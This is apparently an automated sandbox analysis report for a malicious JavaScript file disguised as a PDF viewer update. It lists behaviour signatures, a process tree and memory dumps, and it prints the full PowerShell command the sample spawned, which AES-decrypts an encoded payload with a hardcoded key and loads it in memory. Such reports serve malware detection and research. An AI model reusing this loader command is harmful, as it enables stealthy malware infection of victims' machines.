Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/10/2026, 00:21

General

  • Target
    Atualização-PDFViewer-v.63.js
  • Size 2.9MB
  • Sample261011-anc84avy6j
  • SHA256 8721d226858c3021456ced197a5bed3a0c3d69768183bb52dd0cb8b2106a6e9b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Atualização-PDFViewer-v.63.js
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    PID:3696
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$perseveringly=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$burnous=[Text.Encoding]::UTF8.GetBytes('SuaChaveAqui32BytesExemplo123456');$speedometer=[Text.Encoding]::UTF8.GetBytes('1234567890123456');$pignolia=[Convert]::FromBase64String($perseveringly);$equilateral=[Security.Cryptography.Aes]::Create();$equilateral.Key=$burnous;$equilateral.IV=$speedometer;$helostomid=$equilateral.CreateDecryptor();$magistracies=$helostomid.TransformFinalBlock($pignolia,0,$pignolia.Length);[AppDomain]::CurrentDomain.Load($magistracies)|Out-Null;[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('ubB/aZpYgn9jFyv/NYQRptFRVO5sUixzMHFmaruudx3R+qbJUlcPm4vRf4/MLllTqkRM96j3n4WFOmlAg3n3kg==','','PXXFHEc+2V/h8cxKtzLGu4Z0Fh3gP5DHxkGVjClyP4y9JYIgjbCpBS2HhhOiT7fR','XFsYl1Uh0sJe9K0xlJGuyDwmKqe3+DGx/4V8Gda4cwc=','lr1Q6mVk7mEc2Mzu1TFgLGA5WehZRMD+c5b/90nssEc=','','Tut3L6vpOp2pFA0GAIjnBakPrPx44TScc/d+Jb+LzNU=','','3X5UN40kyw4HczRHiEirjf/v4UEAEez/HytrwleZw2jU335xAHwOLvViaAiJYivY','L94fQ2gKLhFg5uViwlpgS4vYvBhXQjWeCIdjM0tuluGQ2tSvSdhPCITyBuV6kL2s','S/hQublGWVew080/6+YvYqaRbBOGXH5N5IxHg8REedc=','J80ZRry7+FhJ4iyOWMi9LOWp+yIi33Z5d/WF556Uht8=','2Z0zg8/evMcRgUDM0214W+oMhQdpX6fTATUi1Z8xdKM=','','Vms2+4GdmjnVvO3W7wrGh9uGcO7OQX4qmGJItc04ldc=','LKRGoGwldh85bd9Tkq/+zSBpHMupP8502/1OkZCU3vE=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:252

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/252-0-0x00007FFF2DB6F000-0x00007FFF2DB70000-memory.dmp

        memory/252-1-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

        memory/252-2-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

        memory/252-5-0x000002329D4B0000-0x000002329D4D2000-memory.dmp

        memory/252-6-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

        memory/252-7-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

        memory/252-8-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

        memory/252-10-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

        memory/252-9-0x000002329D4E0000-0x000002329D504000-memory.dmp

        memory/252-11-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

        memory/252-12-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

        memory/252-13-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

        memory/252-14-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

        memory/252-15-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

        memory/252-17-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp